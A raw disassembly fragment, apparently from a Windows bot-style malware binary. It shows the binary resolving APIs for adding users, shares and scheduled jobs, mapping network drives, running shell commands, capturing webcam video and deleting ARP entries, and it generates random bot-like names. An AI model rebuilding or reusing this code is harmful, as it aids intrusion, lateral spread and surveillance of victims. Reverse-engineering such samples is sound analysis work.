		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4C93BC, eax
		call	esi
		cmp	dword_4C928C, ebx
		mov	dword_4C921C, eax
		jz	short loc_40A251
		cmp	dword_4C93BC, ebx
		jz	short loc_40A251
		cmp	eax, ebx
		jnz	short loc_40A25B
		jmp	short loc_40A251
; ---------------------------------------------------------------------------


loc_40A246:				; CODE XREF: sub_4098FD+90Aj
		call	near ptr 26807F9h
		nop
		mov	dword_4C93F8, eax


loc_40A251:				; CODE XREF: sub_4098FD+939j
					; sub_4098FD+941j ...
		mov	dword_4C93F4, 1


loc_40A25B:				; CODE XREF: sub_4098FD+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A362
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4C91F8, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4C91D0, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4C9248, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4C927C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4C9394, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4C9230, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4C91DC, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4C91CC, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4C9264, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4C935C, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4C9314, eax
		call	esi
		cmp	dword_4C91F8, ebx
		mov	dword_4C9238, eax
		jz	short loc_40A36D
		cmp	dword_4C91D0, ebx
		jz	short loc_40A36D
		cmp	dword_4C9248, ebx
		jz	short loc_40A36D
		cmp	dword_4C927C, ebx
		jz	short loc_40A36D
		cmp	dword_4C9394, ebx
		jz	short loc_40A36D
		cmp	dword_4C9230, ebx
		jz	short loc_40A36D
		cmp	dword_4C91DC, ebx
		jz	short loc_40A36D
		cmp	dword_4C91CC, ebx
		jz	short loc_40A36D
		cmp	dword_4C9264, ebx
		jz	short loc_40A36D
		cmp	dword_4C935C, ebx
		jz	short loc_40A36D
		cmp	dword_4C9314, ebx
		jnz	short loc_40A377
		jmp	short loc_40A36D
; ---------------------------------------------------------------------------


loc_40A362:				; CODE XREF: sub_4098FD+969j
		nop
		call	near ptr 26807F9h
		mov	dword_4C9400, eax


loc_40A36D:				; CODE XREF: sub_4098FD+A11j
					; sub_4098FD+A19j ...
		mov	dword_4C93FC, 1


loc_40A377:				; CODE XREF: sub_4098FD+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3AC
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4C9220, eax
		call	esi
		cmp	dword_4C9220, ebx
		mov	dword_4C92FC, eax
		jz	short loc_40A3B7
		cmp	eax, ebx
		jnz	short loc_40A3C1
		jmp	short loc_40A3B7
; ---------------------------------------------------------------------------


loc_40A3AC:				; CODE XREF: sub_4098FD+A85j
		nop
		call	near ptr 26807F9h
		mov	dword_4C9408, eax


loc_40A3B7:				; CODE XREF: sub_4098FD+AA7j
					; sub_4098FD+AADj
		mov	dword_4C9404, 1


loc_40A3C1:				; CODE XREF: sub_4098FD+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3F6
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4C9380, eax
		call	esi
		cmp	dword_4C9380, ebx
		mov	dword_4C937C, eax
		jz	short loc_40A401
		cmp	eax, ebx
		jnz	short loc_40A40B
		jmp	short loc_40A401
; ---------------------------------------------------------------------------


loc_40A3F6:				; CODE XREF: sub_4098FD+ACFj
		call	near ptr 26807F9h
		nop
		mov	dword_4C9410, eax


loc_40A401:				; CODE XREF: sub_4098FD+AF1j
					; sub_4098FD+AF7j
		mov	dword_4C940C, 1


loc_40A40B:				; CODE XREF: sub_4098FD+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A46A
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4C93AC, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4C93A4, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4C936C, eax
		call	esi
		cmp	dword_4C93AC, ebx
		mov	dword_4C923C, eax
		jz	short loc_40A475
		cmp	dword_4C93A4, ebx
		jz	short loc_40A475
		cmp	dword_4C936C, ebx
		jz	short loc_40A475
		cmp	eax, ebx
		jnz	short loc_40A47F
		jmp	short loc_40A475
; ---------------------------------------------------------------------------


loc_40A46A:				; CODE XREF: sub_4098FD+B19j
		nop
		call	near ptr 26807F9h
		mov	dword_4C9418, eax


loc_40A475:				; CODE XREF: sub_4098FD+B55j
					; sub_4098FD+B5Dj ...
		mov	dword_4C9414, 1


loc_40A47F:				; CODE XREF: sub_4098FD+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A4B4
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4C9270, eax
		call	esi
		cmp	dword_4C9270, ebx
		mov	dword_4C9378, eax
		jz	short loc_40A4BF
		cmp	eax, ebx
		jnz	short loc_40A4C9
		jmp	short loc_40A4BF
; ---------------------------------------------------------------------------


loc_40A4B4:				; CODE XREF: sub_4098FD+B8Dj
		nop
		call	near ptr 26807F9h
		mov	dword_4C9420, eax


loc_40A4BF:				; CODE XREF: sub_4098FD+BAFj
					; sub_4098FD+BB5j
		mov	dword_4C941C, 1


loc_40A4C9:				; CODE XREF: sub_4098FD+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A552
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4C9340, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4C938C, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4C92C8, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4C9280, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4C9320, eax
		call	esi
		cmp	dword_4C9340, ebx
		mov	dword_4C9290, eax
		jz	short loc_40A55D
		cmp	dword_4C938C, ebx
		jz	short loc_40A55D
		cmp	dword_4C92C8, ebx
		jz	short loc_40A55D
		cmp	dword_4C9280, ebx
		jz	short loc_40A55D
		cmp	dword_4C9320, ebx
		jz	short loc_40A55D
		cmp	eax, ebx
		jnz	short loc_40A567
		jmp	short loc_40A55D
; ---------------------------------------------------------------------------


loc_40A552:				; CODE XREF: sub_4098FD+BD7j
		nop
		call	near ptr 26807F9h
		mov	dword_4C9428, eax


loc_40A55D:				; CODE XREF: sub_4098FD+C2Dj
					; sub_4098FD+C35j ...
		mov	dword_4C9424, 1


loc_40A567:				; CODE XREF: sub_4098FD+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A59C
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4C9254, eax
		call	esi
		cmp	dword_4C9254, ebx
		mov	dword_4C9334, eax
		jz	short loc_40A5A7
		cmp	eax, ebx
		jnz	short loc_40A5B1
		jmp	short loc_40A5A7
; ---------------------------------------------------------------------------


loc_40A59C:				; CODE XREF: sub_4098FD+C75j
		nop
		call	near ptr 26807F9h
		mov	dword_4C9430, eax


loc_40A5A7:				; CODE XREF: sub_4098FD+C97j
					; sub_4098FD+C9Dj
		mov	dword_4C942C, 1


loc_40A5B1:				; CODE XREF: sub_4098FD+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4098FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5B9	proc near		; CODE XREF: sub_401AC7+24FBp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4C93C4, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A601
		push	dword_4C93C8
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A601:				; CODE XREF: sub_40A5B9+1Aj
		cmp	dword_4C93CC, esi
		jz	short loc_40A635
		push	dword_4C93D0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A635:				; CODE XREF: sub_40A5B9+4Ej
		cmp	dword_4C93D4, esi
		jz	short loc_40A669
		push	dword_4C93D8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A669:				; CODE XREF: sub_40A5B9+82j
		cmp	dword_4C93DC, esi
		jz	short loc_40A69D
		push	dword_4C93E0
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A69D:				; CODE XREF: sub_40A5B9+B6j
		cmp	dword_4C93E4, esi
		jz	short loc_40A6D1
		push	dword_4C93E8
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A6D1:				; CODE XREF: sub_40A5B9+EAj
		cmp	dword_4C93EC, esi
		jz	short loc_40A705
		push	dword_4C93F0
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A705:				; CODE XREF: sub_40A5B9+11Ej
		cmp	dword_4C93F4, esi
		jz	short loc_40A739
		push	dword_4C93F8
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A739:				; CODE XREF: sub_40A5B9+152j
		cmp	dword_4C93FC, esi
		jz	short loc_40A76D
		push	dword_4C9400
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A76D:				; CODE XREF: sub_40A5B9+186j
		cmp	dword_4C9404, esi
		jz	short loc_40A7A1
		push	dword_4C9408
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A7A1:				; CODE XREF: sub_40A5B9+1BAj
		cmp	dword_4C940C, esi
		jz	short loc_40A7D5
		push	dword_4C9410
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A7D5:				; CODE XREF: sub_40A5B9+1EEj
		cmp	dword_4C9414, esi
		jz	short loc_40A809
		push	dword_4C9418
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A809:				; CODE XREF: sub_40A5B9+222j
		cmp	dword_4C941C, esi
		jz	short loc_40A83D
		push	dword_4C9420
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A83D:				; CODE XREF: sub_40A5B9+256j
		cmp	dword_4C9424, esi
		jz	short loc_40A871
		push	dword_4C9428
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A871:				; CODE XREF: sub_40A5B9+28Aj
		cmp	dword_4C942C, esi
		jz	short loc_40A8A5
		push	dword_4C9430
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A8A5:				; CODE XREF: sub_40A5B9+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D6D0
		push	eax
		call	sub_41C006
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A8D2
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_40A8D2:				; CODE XREF: sub_40A5B9+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415CEE
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A5B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8E4	proc near		; CODE XREF: sub_4017E7+4Fp
					; sub_401AC7+5C0Fp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4C9344
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A90C
		push	[esp+arg_0]
		call	dword_4C9388
		test	eax, eax
		jnz	short loc_40A905
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40A905:				; CODE XREF: sub_40A8E4+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A90C:				; CODE XREF: sub_40A8E4+Dj
		retn
sub_40A8E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A90D	proc near		; CODE XREF: sub_4017E7+D6p
		mov	ecx, dword_4C9220
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A91B
		call	ecx

locret_40A91B:				; CODE XREF: sub_40A90D+Aj
		retn
sub_40A90D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A91C	proc near		; CODE XREF: sub_401AC7:loc_403EE7p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4C9380
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A9E2
		sub	ecx, 32h
		jz	loc_40A9DB
		sub	ecx, 48h
		jz	short loc_40A97C
		sub	ecx, 6Eh
		jz	short loc_40A975


loc_40A95E:				; CODE XREF: sub_40A91C+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D8E4
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		jmp	short loc_40A9BC
; ---------------------------------------------------------------------------


loc_40A975:				; CODE XREF: sub_40A91C+40j
		push	offset unk_42D8C0
		jmp	short loc_40A9AE
; ---------------------------------------------------------------------------


loc_40A97C:				; CODE XREF: sub_40A91C+3Bj
		push	[ebp+var_8]
		call	sub_41BC9B
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41BD10
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A9A9
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4C9380
		cmp	eax, edi
		jz	short loc_40A9E2
		jmp	short loc_40A95E
; ---------------------------------------------------------------------------


loc_40A9A9:				; CODE XREF: sub_40A91C+79j
		push	offset unk_42D890


loc_40A9AE:				; CODE XREF: sub_40A91C+5Ej
					; sub_40A91C+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_40A9BC:				; CODE XREF: sub_40A91C+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_415CEE
		pop	ecx


loc_40A9CC:				; CODE XREF: sub_40A91C+C8j
					; sub_40A91C+DCj
		push	esi
		call	sub_41BA31
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A9DB:				; CODE XREF: sub_40A91C+32j
		push	offset unk_42D860
		jmp	short loc_40A9AE
; ---------------------------------------------------------------------------


loc_40A9E2:				; CODE XREF: sub_40A91C+29j
					; sub_40A91C+89j
		cmp	[esi], edi
		jbe	short loc_40A9CC
		lea	ebx, [esi+4]


loc_40A9E9:				; CODE XREF: sub_40A91C+DAj
		push	ebx
		call	dword_4C937C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A9E9
		jmp	short loc_40A9CC
sub_40A91C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9FA	proc near		; CODE XREF: sub_401AC7+21DAp
					; sub_401AC7+2328p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C92A8
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4C9434
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41C006
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40A9FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA53	proc near		; CODE XREF: sub_41364F+24Cp
					; sub_41364F+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AA7C
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AA6F:				; CODE XREF: sub_40AA53+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AA6F
		pop	edi
		jmp	short loc_40AA80
; ---------------------------------------------------------------------------


loc_40AA7C:				; CODE XREF: sub_40AA53+Aj
		mov	edx, [esp+4+arg_0]


loc_40AA80:				; CODE XREF: sub_40AA53+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AA8A
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AA8A:				; CODE XREF: sub_40AA53+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AA53	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAA0	proc near		; CODE XREF: sub_40AE77+49p
					; DATA XREF: ___:off_42D930o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 2690861h
		push	eax
		call	sub_41C058
		call	sub_41C062
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+0Ch+arg_0]
		push	off_42D9AC[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41C100
		xor	esi, esi
		add	esp, 14h
		cmp	dword_429094, esi
		jle	short loc_40AB07


loc_40AAE1:				; CODE XREF: sub_40AAA0+65j
		call	sub_41C062
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A0
		push	1Ch
		push	edi
		call	sub_41C100
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429094
		jl	short loc_40AAE1


loc_40AB07:				; CODE XREF: sub_40AAA0+3Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40AAA0	endp

; ---------------------------------------------------------------------------
		dd 4EE85756h, 9002285Dh, 153EE850h, 7C8B0001h, 4C71024h
		dd 42913824h, 0CCC06800h, 1C6A0042h, 15CEE857h,	0F6330001h
		dd 3910C483h, 42909435h, 0E8267E00h, 1151Eh, 59990A6Ah
		dd 5752F9F7h, 42B8A068h, 571C6A00h, 115A7E8h, 14C48300h
		dd 94353B46h, 7C004290h, 5FC78BDAh
; ---------------------------------------------------------------------------
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AB6A	proc near		; CODE XREF: sub_401AC7+6922p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 2690861h
		push	eax
		call	sub_41C058
		pop	ecx
		call	sub_41C062
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429094
		test	esi, esi
		jle	short loc_40ABAD


loc_40AB97:				; CODE XREF: sub_40AB6A+41j
		call	sub_41C062
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40AB97


loc_40ABAD:				; CODE XREF: sub_40AB6A+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AB6A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 2690861h
		push	eax
		call	sub_41C058
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431604
		push	eax
		push	esi
		nop
		call	near ptr 26C0000h
		movsx	eax, byte_431604
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40ABF3:				; CODE XREF: ___:0040ABFEj
		cmp	eax, ecx
		jnz	short loc_40ABFA
		mov	[ebp-4], edx


loc_40ABFA:				; CODE XREF: ___:0040ABF5j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40ABF3
		push	61h
		pop	ecx


loc_40AC03:				; CODE XREF: ___:0040AC0Ej
		cmp	eax, ecx
		jnz	short loc_40AC0A
		mov	[ebp-4], edx


loc_40AC0A:				; CODE XREF: ___:0040AC05j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AC03
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41C100
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429094, esi
		jle	short loc_40AC4F


loc_40AC29:				; CODE XREF: ___:0040AC4Dj
		call	sub_41C062
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A0
		push	1Ch
		push	edi
		call	sub_41C100
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429094
		jl	short loc_40AC29


loc_40AC4F:				; CODE XREF: ___:0040AC27j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 2690861h
		push	eax
		call	sub_41C058
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26D0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_431608
		push	1Ch
		push	edi
		call	sub_41C100
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429094, esi
		jle	short loc_40ACC4


loc_40AC9E:				; CODE XREF: ___:0040ACC2j
		call	sub_41C062
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A0
		push	1Ch
		push	edi
		call	sub_41C100
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429094
		jl	short loc_40AC9E


loc_40ACC4:				; CODE XREF: ___:0040AC9Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43B4B8
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26D05ADh
		nop
		call	near ptr 2690861h
		push	eax
		call	sub_41C058
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AD4E
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD2E
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AD1E
		mov	esi, offset dword_431630


loc_40AD1E:				; CODE XREF: ___:0040AD17j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AD8A
		mov	esi, offset dword_43162C
		jmp	short loc_40AD8A
; ---------------------------------------------------------------------------


loc_40AD2E:				; CODE XREF: ___:0040AD0Ej
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AD3E
		mov	esi, offset dword_431628
		jmp	short loc_40AD8A
; ---------------------------------------------------------------------------


loc_40AD3E:				; CODE XREF: ___:0040AD35j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AD85
		mov	esi, offset dword_431624
		jmp	short loc_40AD8A
; ---------------------------------------------------------------------------


loc_40AD4E:				; CODE XREF: ___:0040AD05j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AD85
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD67
		mov	esi, offset dword_431620
		jmp	short loc_40AD8A
; ---------------------------------------------------------------------------


loc_40AD67:				; CODE XREF: ___:0040AD5Ej
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AD77
		mov	esi, offset dword_43161C
		jmp	short loc_40AD8A
; ---------------------------------------------------------------------------


loc_40AD77:				; CODE XREF: ___:0040AD6Ej
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431618
		jz	short loc_40AD8A


loc_40AD85:				; CODE XREF: ___:0040AD45j
					; ___:0040AD55j
		mov	esi, offset dword_431614


